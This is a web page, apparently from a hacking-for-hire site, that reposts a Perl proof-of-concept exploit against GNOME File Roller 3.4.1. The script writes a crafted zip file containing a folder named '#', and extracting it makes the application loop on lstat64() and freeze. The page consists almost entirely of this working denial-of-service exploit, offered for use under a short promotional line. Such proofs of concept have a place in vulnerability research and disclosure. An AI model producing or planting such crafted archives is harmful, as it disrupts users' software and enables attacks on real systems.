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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/perl
#
# Title: File Roller - DoS PoC
# Date: 08/07/2015
# Author: Arsyntex
# Homepage: https://wiki.gnome.org/Apps/FileRoller
# Version: v3.4.1
# Tested on: Linux lab 3.2.0-85-generic-pae #122-Ubuntu i686 i386 GNU/Linux
# -------------------------------------------------------------------------
# Create a zip file with a folder inside named: #
#
# Run: file-roller --extract-here test.zip
#
# Result: endless call's of lstat64() (50 % CPU usage) (Freeze app)
# 

$zip = "\x50\x4b\x03\x04\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x01\x02\x3f\x03\x14\x03\x00\x00\x00\x00\xd6\x55\x9c\x46" .
       "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00" .
       "\x00\x00\x00\x00\x00\x00\x10\x80\xfd\x41\x00\x00\x00\x00\x23\x2f" .
       "\x50\x4b\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x30\x00\x00\x00" .
       "\x20\x00\x00\x00\x00\x00";
                     
open FILE, ">poc.zip" or die("Can't open poc.zip\n") ;
binmode(FILE) ;
print FILE $zip ;
close FILE ;